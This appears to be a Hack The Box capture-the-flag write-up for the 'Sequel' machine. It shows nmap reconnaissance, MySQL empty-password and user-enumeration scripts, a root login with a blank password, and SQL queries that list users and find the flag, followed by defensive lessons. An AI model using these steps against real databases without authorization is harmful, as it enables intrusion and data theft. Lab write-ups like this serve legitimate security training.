- Machine: Sequel
- IP Address: 10.129.95.232
- Platform: Hack The Box
- Difficulty: Easy (Starting Point - Tier 1)
"Sequel" is a Tier 1 machine that builds upon the SQL theme from the previous challenge. The primary vulnerability is a publicly exposed MySQL database service, which is misconfigured with default credentials (a blank root password). The path to compromise involves connecting directly to the database and querying it to find the flag.
The reconnaissance phase began with a comprehensive port scan to identify open services and their configurations.
Command:
nmap -sV -sC -T4 10.129.95.232
Results: The Nmap scan revealed that the MySQL database port (3306) was open and accessible from external networks. MySQL is a popular relational database management system commonly used in web applications.
Key Findings:
- Port 3306: MySQL database service running
- No firewall restrictions on database access
- Potential for weak or default credentials
Additional MySQL Enumeration:
# Check MySQL version and configuration
nmap --script mysql-info -p 3306 10.129.95.232
# Test for empty password access
nmap --script mysql-empty-password -p 3306 10.129.95.232
# Enumerate MySQL users
nmap --script mysql-users --script-args mysqluser=root,mysqlpass= -p 3306 10.129.95.232With MySQL identified as the target service, I proceeded to test for weak authentication and database access.
Connection Attempts:
-
Initial Connection Test: I attempted to connect to the MySQL database using the standard client:
mysql -h 10.129.95.232 -u root -pWhen prompted for a password, I pressed Enter to test for a blank password.
-
Successful Authentication: The login was successful without a password, indicating a critical security misconfiguration. This granted me full administrative access to the MySQL server.
-
Connection Verification: Once connected, I verified my access and privileges:
SELECT USER(); -- Check current user SELECT VERSION(); -- Check MySQL version SHOW GRANTS; -- Show user privileges SELECT * FROM mysql.user; -- List all MySQL users
Database Exploration:
-
Database Discovery: I explored the available databases:
SHOW DATABASES; -- List all databasesThis revealed several databases including system databases and custom databases.
-
Database Selection: I focused on non-system databases for flag discovery:
USE htb; -- Switch to the 'htb' database SELECT DATABASE(); -- Confirm current database
After gaining access to the MySQL database, I systematically explored its contents to locate the flag:
-
Table Enumeration: I listed all tables in the selected database:
SHOW TABLES; -- List all tables in current database DESCRIBE users; -- Show table structure (if 'users' table exists)
-
Data Exploration: I examined the contents of various tables:
SELECT * FROM users; -- View all user data SELECT * FROM config; -- Check configuration table SELECT * FROM flags; -- Look for flag-specific table
-
Flag Discovery: Through systematic querying, I located the flag stored in plain text within one of the database tables:
SELECT * FROM [table_name] WHERE [column] LIKE '%flag%';
-
Flag Retrieval: The flag was successfully retrieved from the database, completing the challenge.
Alternative Query Methods:
-- Search for flag across all tables
SELECT * FROM information_schema.columns WHERE column_name LIKE '%flag%';
-- Search for specific patterns in data
SELECT * FROM [table] WHERE [column] REGEXP 'HTB{.*}';This machine demonstrates critical database security principles:
-
Network Exposure: Database services should never be directly accessible from the internet. Use firewalls and network segmentation to restrict access to authorized systems only.
-
Authentication Security: Default credentials must be changed immediately after installation. Blank passwords for administrative accounts represent critical security vulnerabilities.
-
Principle of Least Privilege: Database users should have minimal required permissions. Avoid using root accounts for application connections.
-
Access Controls: Implement proper user management with role-based access controls and strong password policies.
-
Network Segmentation: Place databases in separate network segments (DMZ) with restricted access from application servers only.
-
Regular Security Audits: Regularly audit database configurations, user accounts, and access logs to detect security issues.
-
Encryption: Use SSL/TLS encryption for database connections and encrypt sensitive data at rest.
-
Monitoring: Implement comprehensive logging and monitoring for database access and queries to detect unauthorized activity.